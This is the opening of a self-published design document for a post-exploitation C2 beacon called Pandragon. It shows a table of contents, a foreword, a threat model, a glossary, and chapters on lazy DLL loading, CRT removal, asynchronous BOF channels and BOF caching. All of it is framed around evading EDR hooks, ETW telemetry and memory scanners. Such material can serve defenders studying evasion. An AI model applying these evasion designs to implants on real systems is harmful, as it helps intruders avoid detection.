

Pandragon: Engineering, State, Evasion

The summer I turned 18.

[illegible]

@serexp,
Futuristic Gadgets Laboratory

To my Mother.
To my younger self.
To all.

Table of Content

Part I - Introduction

0. Foreword

1. Why Pandragon?

2. Threat Model

3. Scope, Contributions, and How to Read This Work

3.1 Glossary

Part II - Core Engineering

4. Bootstrapping the Beacon: Lazy Module Binding and the functionTable

4.1 The functionTable as a Service Locator

4.2 Eliminating the CRT: Why We Hand-Roll Function Resolution

4.3 Lazy Loading with REQUIRES_MODULE

4.4 The Module Cache and PEB-Free Lookups

4.5 Wiring the Table: initSyscallsLayer

4.6 Why This Matters for Evasion

4.7 Position Independence: The Table as a Floating Foundation

5. Asynchronous Activities in Synchronous Environments, the foundation of asynchronous BOFs

6. Type-Tagged Unions for Heterogeneous IPC Abstraction

6.1 Why Not void* Everywhere?

6.2 The bof_prepared_channel Struct

6.3 Named Pipe vs. Shared Memory

6.4 Extensibility for Future Channel Types

7. BOF Caching Mechanism

7.1 From Operator-Supplied Names to Server-Issued IDs

7.2 Cache Data Structure

7.3 Cache Operations

7.4 Reporting the Cache to the Server

7.5 Why This Matters for Evasion

Part III - Evasion Engineering

8. Indirect Syscalls

- 8.1 The Problem
- 8.2 Resolving the SSN On-Demand via Hardware Breakpoints
- 8.3 The Three-Phase VEH
- 8.4 Halos Gate: When the Stub Is Already Hooked
- 8.5 Polluting the Gadget Pool from Every Loaded DLL
- 8.6 Stack Spoofing Without Static Frame Size
- 8.7 The Cleanup and Re-Arming
- 8.8 Integration with ETW Bypass and Thread Safety
- 8.9 Evasion Properties Against Hardened EDRs

9. Unhooking

- 9.1 The Windows Object Manager and \KnownDlls
- 9.2 Why Not Simply Read the File from Disk?
- 9.3 The Object Attributes Shenanigans: Opening a KnownDll Section
- 9.4 Validating the Mapped Image
- 9.5 Export Walking Without GetProcAddress
- 9.6 Caching the Mapped DLLs
- 9.7 Fallback: When \KnownDlls Fails
- 9.8 Cleanup and Process Exit
- 9.9 Why This Bypasses EDR Hooks – Without Overwriting Anything
- 9.10 Limitations and Notes
- 9.11 Performance and Code Size
- 9.12 Integration with the Rest of Pandragon

10. ETW Bypass

- 10.1 The Problem: Why Patching is a Dead Road
- 10.2 Prior Art and the Ghost Hand
- 10.3 Design: A No-Touch Intercept
- 10.4 Gadget Discovery: The Hunt for 0xC3
- 10.5 Integration with the VEH and Syscall Engine
- 10.6 Evasion Properties and Detection Resistance
- 10.7 Limitations

11. Persistent State Across BOF Invocations

- 11.1 The Problem: BOFs Are Stateless by Design
- 11.2 New Beacon API.
- 11.3 Proof-of-Concept

12.Sleep Obfuscation: Ekko and Insomnia Mode

- 12.1 Why Ekko, and Why Not Just VirtualProtect?
- 12.2 Implementation Overview
- 12.3 The Waiting Loop (.obf)
- 12.4 Insomnia Mode
- 12.5 Why This Works Against Modern EDRs
- 12.6 Limitations and Future Work

13.Compile-Time Obfuscation Without Runtime Overhead

- 13.1 The Problem
- 13.2 Design Overview
- 13.3 The LCG Keystream
- 13.4 Compile-Time Blob Generation
- 13.5 Type-Encoded Strings with NTTP
- 13.6 Runtime Decryption with static Locals
- 13.7 Performance and Code Size
- 13.8 Limitations
- 13.9 Integration with the Rest of Pandragon
- 13.10 Conclusion

Part IV - Covert Communication & Lateral Movement

14. Named Pipe Relay & Peer-to-Peer Beacon Chaining

- 14.1 The Problem: Islands of Compromise
- 14.2 Design Tenets: Dumb, Blind, and Operator-Driven
- 14.3 The Named Pipe Transport
- 14.4 The Relay Engine: A Glorified Mailroom
- 14.5 The Wire Protocol: Relaying Without Knowing
- 14.6 Multi-Hop: RELAY_MULTI and the Recursive Courier
- 14.7 Server-Side Routing: The Omniscient Cartographer
- 14.8 Security Analysis: The Threat Model, Tested in Thought
- 14.9 Notes

15.Peer-to-Peer Self-Spreading Implant on Layer 2

- 15.1 Why Layer 2? Firewalls Ignore ARP, LLMNR, 802.1Q
- 15.2 Protocol Design
- 15.3 Routing Tables Without DNS
- 15.4 VLAN ID Bruteforcing and 802.1Q Tag Abuse

- 15.5 LLMNR Spoofing as a Covert Secondary Channel
- 15.6 ARP Broadcasts and Custom TLVs in UDP

Part V - Cryptography

16. Pandragon Protocol

- 16.1 Why Not JSON?
- 16.2 The 47-Byte Fixed Header
- 16.3 Nonce Composition and Replay
- 16.4 Opcode Minimalism: S2B vs B2S
- 16.5 Poly1305 Footprint and Padding
- 16.6 Key Derivation from OTA Pre-Shared

17. Malleable Packets

- 17.1 Wrappers and Macros
- 17.2 Payload Location
- 17.3 Custom HTTP Headers
- 17.4 User-Agent Rotation

18. Key Exchanges

- 18.1 Rotation Protocol
- 18.2 Replay and Rollback Protection

19. Cipher Choice and Modes

- 19.1 XChaCha20-Poly1305
- 19.2 Encryption and Padding Order
- 19.3 Key Size and Nonce Generation
- 19.4 Performance Considerations

Part VI - Future Work

20. User-Mode Virtualization (RISC-V VM)

- 20.1 Why RISC-V?
- 20.2 Architecture: Interpreter + Bytecode
- 20.3 Opcode Shuffling and Per-Build Mutation
- 20.4 Remaining Challenges

21. LLVM-Based Compile-Time Obfuscation

- 21.1 LLVM Pass Pipeline
- 21.2 Reymann Identities – A Concrete Example

21.3 Implementation Path

21.4 Limitations

22.Full Position Independence (PIC) – The Last Globals

23.User-Mode EDR Hook Detection and Evasion

24.Post-Quantum Cryptography (PQC) Preparation

You are now reading:

Part I

Introduction

"Nothing is harder to understand than a symbolic work."

Myth of Sisyphus, Albert Camus.

Notre vie est un voyage

Our life is a journey

Dans l'Hiver et dans la Nuit

Through Winter and Night

Nous cherchons notre passage

We look for a way out

Dans le Ciel où rien ne luit

In the Sky where nothing shines.

Foreword

You hold in your hands a design document and implementation of Pandragon, a post-exploitation framework that was born from frustration with the status quo, and finished over two months. It is a piece of engineering that I am proud of, but also a piece of engineering that I have thought about, a lot. Let me be clear about what Pandragon is, and what it is not.

Pandragon, by itself, is not a malicious tool. The core beacon (the 80kb engine that you will read about) does exactly three things: it fetches tasks, it executes them, and it replies. Its own code contains no credential harvester, no keylogger, no automated lateral movement, no ransomware, no destructive payload. The most aggressive acts that the *core* beacon performs are indirect system calls (to avoid user-land hooks) and a hardware-breakpoint-based ETW bypass (to silence telemetry). Those are evasion techniques, not attacks.

Every genuinely malicious capability — dumping LSASS, scraping browser passwords, injecting into remote processes, or anything else that a red teamer might need — lives inside BOFs (Beacon Object Files) and is NOT shipped with Pandragon. And the only BOF that Pandragon ships with, as a proof of concept (and, on purpose, a poor OPSEC), is a reverse shell. The rest of the built-in commands are mundane: list files, read a file, download/upload one, sleep. Nothing that a system administrator couldn't do with `cmd.exe/curl.exe`.

I am releasing this document for one reason: because defenders already know the tricks. EDR vendors probably have teams of brilliant engineers who have thought about `syscall;ret` gadgets and `\KnownDlls` sections for years. What the open literature lacks is the *engineering*—the boring, obsessive, 3,000-line-CRT-reimplementation engineering that turns a clever idea into a working system. My hope is that a blue-team researcher, or a student who wants to understand how modern user-land evasion actually works, can read this and say, “Ah, *that* is how they do it.” Only then can they build better detection.

If you are a student reading this: do not mistake the engineering for a calling to cause harm. The real challenge — the beautiful, maddening, worthwhile challenge — is to build things that work under impossible constraints. Pandragon is a love letter to that challenge. Use it to learn, to defend, to understand. Use it to become the kind of engineer who can stare at a disassembly for three hours and not blink!

Pandragon can open certain doors. I ask you to choose wisely which doors those are. Chapter 15 was censored for legal reasons and to avoid helping something that is clearly malicious: exfiltration of data over air-gapped channels. If your (legal) engagements need that level of technical achievements, you very likely can come up with your own solutions. No?

1. Why Pandragon?

Pandragon began as a quiet frustration. I looked at Cobalt Strike and asked myself: *why does this embed so many features into the beacon itself? Why is the networking scheme so rigid, the key exchange so opaque?* Then I looked at another commercial C2 and saw debug strings baked into its beacon, along with a dozen built-in tools that most operators would never use. None of this is meant as a dismissal, those authors are brilliant, and their work has defined the field, but technology is ever-changing!

There is a gap in the current C2 landscape. On one side, you have frameworks that are **engineered well**, clean code, good abstractions, maintainable—but whose evasion ranges from mediocre to obsolete (Cobalt Strike). On the other side, you have frameworks with **excellent evasion** but engineering that collapses under its own weight (Havoc, and to some extent Brute Ratel).

Pandragon aims to be both. It comes from someone who has spent years working on systems that resemble the ideal malware environment: embedded-like systems with no runtime, no standard library, and extreme requirements. The internals of Pandragon reflect that background: heavy caching, minimal allocations, a single-threaded, deterministic main loop. Techniques borrowed from low-RAM, low-CPU environments, because an implant that runs in a 80 KB memory footprint should be as lean as firmware. To be pedantic, Pandragon is a set of ideas and theories that apply universally to all modern platforms.

As such, it is possible to realize that we can, in theory, abstract every Windows-specific feature from Pandragon, like ETW bypassing (which could, in theory, be reworked as a BOF) to only have universal paradigms, with OS-specific implementation. This was not done in the current Pandragon version, but, in theory, Pandragon can serve as an universal implant, with callbacks and a clear ABI for OS interactions.

2. Threat Model

Pandragon was engineered to evade a specific class of adversary: tier-1 EDRs. In practical terms and without clear naming, this means an adversary that:

- Has kernel-mode access to the machine where the beacon runs
- Can hook DLLs in-memory (user-land hooks on ntdll, kernel32, etc.)
- Uses kernel callbacks to monitor sensitive operations (process creation, remote thread creation, memory allocation, registry writes)
- Deploys ETW consumers at both user and kernel level to capture telemetry
- Performs in-memory scanning (differential analysis, YARA, or signature matching against .rdata and .data)

Pandragon is not designed to work against an adversary that can debug the beacon interactively. Once a human analyst attaches a debugger, steps through instructions, inspects registers, and dumps memory pages, no amount of obfuscation, syscall redirection, or string encryption will save you. Manual analysis by a determined analyst is impossible to stop.

Pandragon does not attempt to evade kernel-mode EDR sensors that hook the System Service Dispatch Table (SSDT). That is a different class of problem requiring a rootkit or a bootkit. The line is drawn at user-land visibility. If the EDR sees everything from kernel-mode but cannot make sense of what the beacon is doing because the syscalls look legitimate and the call stack terminates in BaseThreadInitThunk, that is a win for us.

3. Scope, Contributions, and How to Read This Work

This is not a comprehensive guide to Windows internals or a step-by-step tutorial for building a C2 from scratch. Instead, it is a design document and engineering memoir for Pandragon, a working post-exploitation framework. The core contributions are:

- A lazy module binding and function resolution system that leaves the Import Address Table empty, caches module handles, and loads DLLs only when needed (Chapter 4).
- A unified VEH-driven indirect syscall engine that also handles ETW bypass and per-invocation stack spoofing from the same hardware breakpoint handler (Chapters 11–12).
- A compile-time string obfuscation layer using C++20 NTTP and constexpr LCG encryption, leaving no plaintext in .rodata (Chapter 13).
- A named pipe relay and peer-to-peer chaining mechanism that preserves perfect forward secrecy across hops, treating the parent as a dumb courier (Chapter 14).
- A persistent state API for BOFs solving the stateless-by-design limitation of COFF payloads (Chapter 12: Persistent State).
- A compact, encrypted wire protocol with XChaCha20-Poly1305, malleable packet wrappers, and key rotation (Chapters 16–19).

How to read this work:

- Part I (this introduction) sets the stage.
- Part II covers core engineering, bootstrapping, asynchronous BOFs, type-tagged channels, and BOF caching.
- Part III dives into evasion engineering: indirect syscalls, ETW bypass, and compile-time obfuscation. Part IV explores covert communication and lateral movement, including the named pipe relay and (in theory) Layer 2 self-spreading. Part V specifies the cryptographic protocol.

You do not need to read linearly. If you care most about evasion, jump to Part III. If you are building your own implant, Part II will be most useful. And if you simply want to see how a single-threaded beacon can relay traffic for an entire network without ever decrypting a child's packet, read Chapter 14.

Finally, to be honest with the reader: some parts of this work (particularly the Layer 2 propagation in Chapter 15) are theoretical and will not be implemented, for legal and ethical reasons. They are included as a research agenda and because the ideas deserve a place on paper. Everything else (the syscall engine, the lazy loader, the relay, the crypto...) is running code.

This book has, what I would say, a unique writing style, not only because it is of an exceptional technical depth, but also because it is written by myself, and I am alas in the middle of coming-of-age! Work is inherently a reflection of the self, so you may see it through my writing; I have decided not to mask it. I have done my absolute best to make it an enjoyable read that will hopefully leave you thoughtful on what has been done and what can be done, in regards to both offensive security and our lives as a whole. It is nothing but my heartfelt desire to document what I have done to, in all frankness, maybe try to find a meaning through my work!

This book is also dedicated to my mother. Rarely have I done what she told me to, and rarely have I avoided what she told me to; the least I can do is dedicate her ~100 pages! What a pitiful sight I make.

Releasing this book, and, most importantly, Pandragon, was a heavy question that ultimately made me ask myself: are you ready? Truth is, I will never be ready. We are never really ready either. We will always have doubts; but my mind is ready; only my flesh is afraid.

3.1 Short Glossary

BOF (Beacon Object File)

A COFF (Common Object File Format) object file containing compiled C code that is not linked into a final executable. Pandragon loads BOFs at runtime, resolves their symbols against a minimal internal API, and executes them. BOFs are the primary extension mechanism—almost all non-core functionality lives in BOFs, not in the beacon itself.

COFF

The portable executable object format used by Windows compilers. Pandragon parses COFF files directly, relocates sections, and resolves imports without invoking the OS loader.

functionTable

A runtime-allocated structure that holds pointers to every Windows API function the beacon might need (NT syscalls, Win32 APIs, optional DLL exports). It serves as a central service locator, eliminating the need for a static import address table.

lazy module binding

The practice of loading a DLL (e.g., `winhttp.dll`) only when a function from that DLL is first called, not at beacon startup. Pandragon uses `LdrLoadDll` directly, bypassing `LoadLibrary` callbacks, and caches the module handle for subsequent uses.

VEH (Vectored Exception Handler)

A Windows mechanism that allows a program to handle exceptions (including hardware breakpoints) before the standard exception dispatcher. Pandragon uses a single VEH to drive indirect syscalls, ETW bypass, and stack spoofing—all from the same exception handler.

SSN (System Service Number)

The numeric identifier assigned to each NT system call (e.g., `NtOpenProcess`). In modern Windows, these numbers change with each build. Pandragon resolves SSNs on-demand by reading the in-memory `ntdll` stub, never hardcoding them.

Halo's Gate

A fallback technique for recovering a syscall number when the first bytes of an NT stub are hooked. Pandragon walks nearby instructions to find a clean `syscall;ret` gadget and infers the original SSN.

\KnownDlls

A Windows Object Manager directory containing section objects for core system DLLs (`ntdll.dll`, `kernel32.dll`, etc.). These sections hold the original, unhooked DLL images as loaded from disk. Pandragon maps them directly to obtain clean copies of functions without touching the EDR-patched versions.

ETW (Event Tracing for Windows)

A high-performance telemetry system used by EDRs to monitor process behaviour. Pandragon bypasses user-mode ETW by placing a hardware breakpoint on `NtTraceEvent` and redirecting execution to a `ret` gadget, never modifying a single byte of memory. It exists in both user-mode and kernel-mode, though. We only bypass the user-mode version.

Ekko

A sleep obfuscation technique that encrypts the beacon's code sections during idle periods and decrypts them just before resuming execution. Pandragon's implementation adds a helper stack, PE header wiping, and Insomnia Mode (decoupled wake-up without network check-ins).

LCG (Linear Congruential Generator)

A simple, fast pseudo-random number generator. Pandragon uses an LCG at compile time to obfuscate string literals, ensuring no plaintext appears in `.rodata`.

NTTP (Non-Type Template Parameter)

A C++20 feature that allows string literals to be passed as template arguments. Pandragon uses NTTP to embed encrypted string blobs directly into type instantiations, avoiding runtime string construction.

IPC (Inter-Process Communication)

The mechanism by which BOFs and the main beacon exchange data. Pandragon supports two channel types: shared memory (for high-frequency, low-latency communication) and named pipes (for cross-session or cross-process transport).

Persistent state API

A set of beacon functions (`BeaconGetPersistentStateData`, `BeaconSetPersistentStateData`) that allow BOFs to store and retrieve data across multiple

invocations. This solves the stateless-by-design limitation of COFF payloads, enabling long-lived BOFs like an in-memory CLR host for Execute-Assembly.

named pipe relay

A peer-to-peer chaining mechanism where one beacon acts as a dumb courier for another. The parent forwards encrypted child packets over a named pipe without ever decrypting them, preserving perfect forward secrecy across the chain.

malleable C2

A configurable layer of obfuscation applied to the beacon's network traffic. Pandragon supports custom HTTP headers, URL path embedding, query parameter placement, body wrapping, and macro expansion (timestamps, random strings, junk data) to blend with legitimate traffic.

XChaCha20-Poly1305

The AEAD (Authenticated Encryption with Associated Data) cipher used by Pandragon's wire protocol. It provides a 256-bit key, a 192-bit random nonce, and a 128-bit authentication tag, with no hardware acceleration requirement.

I wish you a pleasant read and a thoughtful journey.

— Serexp

You are now reading:

Part II

Core Engineering

"I have begun a project beyond that all of which is known to man. Wish me luck!"

Unknown.

4. Bootstrapping the Beacon: Lazy Module Binding and the functionTable

4.1. The functionTable as a Service Locator

Every nontrivial beacon ends up needing access to dozens of API functions across a dozen DLLs: ntdll for NT syscall stubs, kernel32 for legacy Win32, user32 for keylogger hooks, winhttp for the C2 channel, bcrypt for CSPRNG, crypt32 for DPAPI, and a handful more. The naive approach, importing them at compile-time leaves you very vulnerable to Import Address Table hooking, or just outright fierce reverse-engineering. The second, less naive approach, loading every DLL at startup and populating a massive function table, blows the binary size past the 80 KB target and leaves a static list of imported module names sitting in .rdata for any differential scanner to enjoy. This approach also implies that we leave many DLLs loaded in memory, even though we do not require them, leaving many VAD artifacts. Many commercial C2s do it this way.

Pandragon instead centralizes everything into a single runtime-allocated structure, the functionTable. It contains:

- **NtAllocateVirtualMemory**, used to allocate the table itself.
- all ntdll exports needed for syscalls (which are then overwritten by indirect syscall wrappers if specified in the Beacon's config),
- a complete set of kernel32 exports (ANSI and Unicode variants),
- slot pointers for lazily-loaded modules (LoadWinHttp, LoadAdvapi, LoadWs2_32, etc.),
- and a loadedModules bitmask to track which of the optional DLLs have been wired.

The structure is opaque; after initialisation nothing outside its initialization structure ever sees its layout. This satisfies two constraints: no static import table, and a single parameter to pass everywhere.

4.2 Eliminating the CRT: Why We Hand-Roll Function Resolution

You may have noticed that InitializeFunctionTable calls `__GetProcAddress` to parse PE (namely in-memory DLLs) exports and find our target functions. Why did we rewrite it and not just use `kernel32!GetProcAddress`?

Calling any Win32 API before we've fully set up the table introduces a dependency on the very thing we're building. This can also lead to another chicken-and-egg problem; what if an EDR hooks `GetProcAddress`? It has almost no legitimate uses anyway, why wouldn't it get hooked? This would allow an EDR to intercept all functions we resolve, and terminate us or raise an alert easily, because why does an unsigned, unbacked memory region need the address of `NtTraceEvent`, `NtProtectVirtualMemory` and `NtAllocateVirtualMemory`, 3 well-known ETW bypass primitives?

So we got rid of the CRT entirely. Pandragon's version of `GetProcAddress` walks the export directory without heap allocations, without `LoadLibrary`, and without calling any other API. It's just a loop over `AddressOfNames` with `strcmp`. The only concession is `LoadLibraryA/LoadLibraryW`, which the lazy module loader uses for forward exports, but those are resolved only after `kernel32` is already mapped and its exports cached, so we avoid circularity.

The same principle applies to `RtlInitUnicodeString`, `__mbstowcs`, and the custom `__wcsnicmp` we use. These are trivial re-implementations that add a few dozen bytes of code but save the beacon from linking any import library. The result: the import table is empty, and the CRT's startup code (which calls `GetCommandLineW`, `GetModuleHandleW`, etc.) is eliminated at link time via `--nostdlib` and a custom entry point.

Actually, I did have to reimplement many, many parts of the C runtime, namely all string utilities. I did so to eliminate Pandragon's IAT, and rewrote ~3k LoCs of CRT helpers.

4.3 Lazy Loading with `REQUIRES_MODULE`

The true weight-saving aircraft carrier is the lazy loading of optional modules. Most beacons will never use `crypt32` or `shell32`, but the framework still has to offer them for BOFs that might. Pandragon assembles the function table with `LoadWinHttp`, `LoadAdvapi`, `LoadGdi`, `LoadCrypt32`, etc., as dead code that is **only** instantiated when the program flow hits a `REQUIRES_MODULE` guard at the beginning of a function.

`CODE_START`

```
REQUIRES_MODULE(funcTable, ModuleCache::MOD_WINHTTP);
```

CODE_END

Code excerpt from the Pandragon WinHttp network backend.

This macro checks the loadedModules bitmask; if the bit is clear, it calls the templated ModuleCache::LoadModule<MOD_WINHTTP>. Thanks to explicit template instantiation and LTO, the Load* functions that are never called are stripped entirely. Only the modules actually referenced by the beacon's core (and any BOF that pulls them in) ever occupy memory.

The loading function does not call LoadLibraryW, because a call to LoadLibraryW inside a VEH-driven syscall engine is a textbook dead-giveaway. Instead, it uses LdrLoadDll directly (which, according to the Windows loader, is just what LoadLibraryEx wraps around) which allows us to pass NULL flags and avoid the DLL notification callbacks that EDR filters monitor. The module handle is then cached in a global ModuleCache struct accessible via a simple enum index, meaning subsequent GetModuleBaseAddress calls for that module never touch the PEB again.

4.4 The Module Cache and PEB-Free Lookups

GetModuleBaseAddress in a clean C2 framework is usually just a walk of the InLoadOrderModuleList. Pandragon does this **once**, caches the result, and then checks the cache before walking the PEB on every subsequent lookup. The cache is a fixed array of ModuleCacheEntry records, one per known module ID, populated at startup and lazily extended when a new DLL is loaded. This is done to avoid re-triggering possible DLL page guards EDRs sometimes use.

This avoids the LDR_DATA_TABLE_ENTRY traversal entirely after the first hit. In a long-running beacon, walking the PEB on every API resolve is not just slow; it's a pattern that Elastic's YARA memory scanner specifically looks for. Caching the handles means GetModuleBaseAddress becomes O(1) with a handful of string comparisons.

The cache is initialized with ntdll and kernel32 set, because those are the only two modules guaranteed to be loaded when the beacon starts. This is guaranteed by Windows. Every other module is added on first use by GetCachedModuleHandle, which falls back to LdrLoadDll and caches the result. The static GetCachedModuleHandleStatic overload exists for early-initialisation code paths that don't yet have a valid functionTable pointer.

4.5 Wiring the Table: `initSyscallsLayer`

After the function table is built and if enabled in config, Pandragon calls `initSyscallsLayer`, a thin wrapper that invokes the hardware-breakpoint-based syscall engine from Section 11 and then overwrites every syscall-enabled NTAPI (aka all that have the syscall instruction within their code) function pointer in the table with the corresponding indirect-syscall wrapper:

```
CODE_START
```

```
#define ASSIGN_SYSCALL_WRAPPER(funcName) \
```

```
    funcTable->funcName = (p###funcName)&syscall###funcName;
```

```
CODE_END
```

Thus `NtAllocateVirtualMemory` is replaced by `syscallNtAllocateVirtualMemory`, which internally uses `PrepareSyscall("NtAllocateVirtualMemory")` to trigger the VEH. The original direct-call entries from `initntdll` are overwritten in place, so no legacy code path remains that could accidentally call the EDR-hooked stub. This is the moment the beacon steps off the grid; every subsequent kernel transition originates from a clean `syscall;ret` without traversing the user-mode hook.

4.6. Why This Matters for Evasion

The combined effect of lazy binding, a hand-rolled resolution engine, and indirect syscall wrapping is that the beacon's initial memory image contains no imports, no static strings of DLL names, and no direct-call instructions to syscall-enabled `ntdll` functions. Elastic's peek-a-boo memory scan looks for `GetProcAddress` call chains; we alas don't call it. The `WinHTTP` and `WinSock` functions that the C2 channel needs are only loaded when the first check-in is due.

4.7. Position Independence: The Table as a Floating Foundation

In **theory** (and I stress theory, because we haven't yet turned Pandragon into a fully relocatable shellcode blob), the entire bootstrapping system is already quasi-position-independent. The functionTable is allocated on the heap via NtAllocateVirtualMemory, not baked into the binary's .data or .rdata section. Its address is passed as an explicit first-class pointer to every function that touches the Windows API, so no subsystem needs to reference a global variable to find its service locator.

This means that if you stripped the remaining globals, the main beacon could be dumped as position-independent code that runs wherever you copy it. The table itself resides in a page far removed from the image's original sections, invisible to PE-aware scanners that look only at .rdata or IMAGE_DATA_DIRECTORY. The lazy-loading functions don't embed DLL names; they compute them at runtime via lcg_encryptw and pass them through LdrLoadDll, so even the strings that do exist are ciphertext until the moment of use.

Is every module PIC-clean today? No! ModuleCache::g_moduleCache is a global namespace, and there are uses of g_funcTable and other globals. But the skeleton is already PIC-compatible by design, not by accident. A future build with -DSTRIP_GLOBALS and a few small adjustments (e.g., moving the module cache inside the function table) would yield a true position-independent implant, relocatable by byte copy, with no fixups needed, and no .data section to betray it to a memory forensics tool. The table's heap location, not the image's static sections, becomes the single reference point for the entire beacon runtime. That's a powerful property for an implant that may be injected into a process with a radically different base address, or that we want to migrate without re-initialising the entire API surface.

5. Asynchronous activities in synchronous environments

One hurdle that Pandragon had was that it needed to support long-running BOFs to make the core beacon lighter. Only through such means could the Beacon ever only be sub-80 kilobytes and the protocol further simplified. This, however, had a critical problem: the beacon is single-threaded.

We need a complete abstraction to avoid hardcoding any IOC like always using predefined named pipes, or whatever. As such, we implement a two-phase execution model:

Server sends full BOF binary + args. Beacon auto-sequences:

1. Run prepare(), synchronous, main thread. BOF creates its communication channel, returns descriptor.
2. Run go(), asynchronous, new thread. BOF writes TLV records directly to channel.

BOF is fully responsible for channel lifecycle.

A channel descriptor is returned by prepare() on the stack:

BOF writes descriptor directly into a known RW scratch page that Beacon allocates and reads after prepare() returns. The address of the scratch page is supplied as the first argument to prepare(); and can, on 64-bit, be retrieved by dumping RCX (subject to change according to the Microsoft x64 ABI). Using rcx was a complicated decision; it is a volatile register that does not persist across stack frames, but we decided to not roll our own tech out by using a non-volatile register like R11.

The Beacon can set it in two ways.

First, the deprecated way, it may forcefully put it in rcx:

CODE_START

```
// Setup RCX with a value
register uint64_t setup asm("rcx") = 0x1122334455667788;
volatile("" :: "c" (setup)); // Force value into RCX
```

CODE_END

The BOF can retrieve the scratch address as such:

CODE_START

```
#define READ_RCX(var) \  
    asm volatile ("mov %0, %%rcx" : "=r" (var) :: "rcx")  
void dump_rcx_macro_wrapper() {  
    uint64_t val = {};  
    READ_RCX(val);  
    printf("[+] Dumping RCX via Macro Wrapper:\n");  
    printf("    RCX = 0x%llx\n", val);  
}
```

CODE_END

Clang is the only supported compiler for Pandragon. It is easy to install on Windows, Linux and MacOS and was chosen for its compatibility with LLVM plugins.

Or (the good way) it can let the compiler do it implicitly by casting prepare() to a (*)(char*), where the compiler will automatically insert the first parameter in rcx through the following pseudo-code:

CODE_START

```
typedef void WINAPI (preparefunction)(void*); // winapi expands to __fastcall  
preparefunction = (preparefunction)resolve_symbol_in_memory_by_name(BOF,  
"prepare");  
preparefunction(scratchaddress);  
read_descriptor_from_scratch_page(scratchaddress);  
// ...
```

CODE_END

And in which the BOF can use:

CODE_START

```
prepare(void* address) {  
    // assume address is RW and do stuff... or don't.  
}
```

CODE_END

The communication channel lives in shared RW memory page (shmem) or on the pipe itself. We then introduce an application-layer protobuf to handle synchronicity, because BOF and Beacon run independently:

```
CODE_START  
typedef enum CHANNEL_SIGNAL {  
    CHANNEL_SIGNAL_NONE      = 0,  
    CHANNEL_SIGNAL_ARGS_UPDATE = 1,  
    CHANNEL_SIGNAL_ABORT     = 2,  
} CHANNEL_SIGNAL;  
  
typedef struct bof_channel {  
    volatile LONG bof_writing;    // BOF: "I'm writing" — set first, cleared last  
    volatile LONG beacon_writing; // Beacon: "I'm wiping" — set first, cleared last  
    volatile LONG data_valid;     // BOF sets when record is ready  
    volatile LONG data_acked;     // Beacon sets when consumed + wiped  
    volatile LONG signal;         // Beacon -> BOF: ABORT / ARGS_UPDATE  
    volatile LONG signal_ack;     // BOF -> Beacon: acknowledged  
    uint32_t record_type;        // protobuf: message type tag  
    uint32_t record_length;      // protobuf: payload length  
    uint8_t data[];             // flex array, record_length bytes valid  
} bof_channel;
```

CODE_END

This infrastructure relies on internal usermode scheduling to handle the LONG oplocks. Internally, we use InterlockedExchange and YieldProcessor (_mm_pause/dmb ishst; yield) to avoid both busy-waits that burn CPU time and kernel-mode transitions that happen when using traditional Mutexes. On Windows, mutexes are special files, and reverse engineering of their implementation (in kernel32, then ntdll) showed that they are a kernel-mode structure.

In 64-bit, jumps to kernel-mode are handled through the syscall instruction, which is an unconditional jump to a special, OS-supplied syscall handler address stored in a CPL 0-only registry. This jumps requires the CPU to change protection mode and enable other mitigations against unauthorized privilege escalation, effectively being much slower than simple LONG and InterlockedExchange implementations.

These six LONGs could be implemented as a bitmask. Though, we prefer not to, for readability, and because this is either allocated on stack or in RW memory, we deem it not important enough to optimize and overengineer.

To prevent out-of-order execution, memory barriers must of course be implemented. The communication channel's layout is specified in the next chapter.

6. Type-Tagged Unions for Heterogeneous IPC Abstraction

6.1. Why Not void* Everywhere?

Generic C programming often resorts to `void*` to handle different data types. However, `void*` provides no type safety and makes the code fragile. If we passed a pipe handle as a `void*` where a shared memory pointer was expected, the result would be an immediate crash. In a post-exploitation framework, crashing the implant is the ultimate failure.

We needed a way to describe *what* the communication channel is and *how* to interact with it, enforced at the structural level.

6.2. The `bof_prepared_channel` Struct

The solution is a type-tagged union. When a BOF initializes, it returns a `bof_prepared_channel` descriptor to the Beacon. This descriptor tells the Beacon exactly what kind of transport the BOF has set up.

CODE_START

```
typedef enum CHANNEL_TYPE {
```

```
    CHANNEL_TYPE_NONE = 0,
```

```
    CHANNEL_TYPE_NAMED_PIPE = 1, // wchar_t* pipe name
```

```
    CHANNEL_TYPE_SHMEM = 2, // void* mapped buffer base
```

```
} CHANNEL_TYPE;
```

// Descriptor: type-tagged union, written by BOF at known scratch address. Beacon reads after `prepare()` returns

```
typedef struct bof_prepared_channel {
```

```
    CHANNEL_TYPE type;
```

```
    uint32_t buffer_size;
```

```
    union {
```

```
        wchar_t* pipe_name; // CHANNEL_TYPE_NAMED_PIPE
```

```
        void* shmem_ptr; // CHANNEL_TYPE_SHMEM
```

```
    } info;
```

```
} bof_prepared_channel;
```

```
CODE_END
```

6.3. Named Pipe vs. Shared Memory

The union allows us to support two drastically different mechanisms seamlessly:

- **Shared Memory (CHANNEL_TYPE_SHMEM):** Used for high-frequency, low-latency data exchange (like a keylogger packet stream). The `shmem_ptr` points directly to the `bof_channel` struct.
- **Named Pipes (CHANNEL_TYPE_NAMED_PIPE):** Used for legacy compatibility or when data needs to be sent to a process with a different session isolation. The `pipe_name` provides the Unicode string path of the named string the BOF is using to write data on.

6.4. Extensibility for Future Channel Types

Because the `CHANNEL_TYPE` is an enum, we can easily extend Pandragon in the future to support `CHANNEL_TYPE_SOCKET` (for TCP loopback relay) or `CHANNEL_TYPE_MAILSLLOT` (for unreliable broadcast datagrams) without breaking the existing ABI of the Beacon.

7. BOF Caching Mechanism

A known shortcoming of many C2 frameworks is that they embed most of their feature set at compile time. The result is a monolithic, oversized binary that becomes trivially signatureable.

Every unused command, every optional sub-system, remains present in `.text` and `.rdata`, waiting for a YARA rule to match it.

Pandragon takes the opposite approach: nearly all non-essential functionality lives in **BOFs** (Beacon Object Files) that can be either short-lived or long-running. The litmus test is simple: *Is this feature required for the beacon's basic operation?*

Networking, syscall stubs, and the main loop cannot be deferred. But dumping LSASS, scraping browser credentials, or taking a screenshot? Those become standalone BOFs. The beacon reduces to a lean, single-purpose engine: **Fetch -> Execute (a BOF) -> Reply**.

7.1 From Operator-Supplied Names to Server-Issued IDs

In the earliest prototype, each cached BOF was identified by a human-readable name and an 8-bit hash. The beacon maintained a doubly linked list with fields like `char* name`, `uint8_t hash_dec`, `void* memoryPointer`, and `uint32_t BOFLen`. That design had two fatal flaws:

1. **Collisions**: an 8-bit hash space invites collisions even under benign workloads. The birthday paradox guarantees a conflict after only ~20 distinct BOFs.
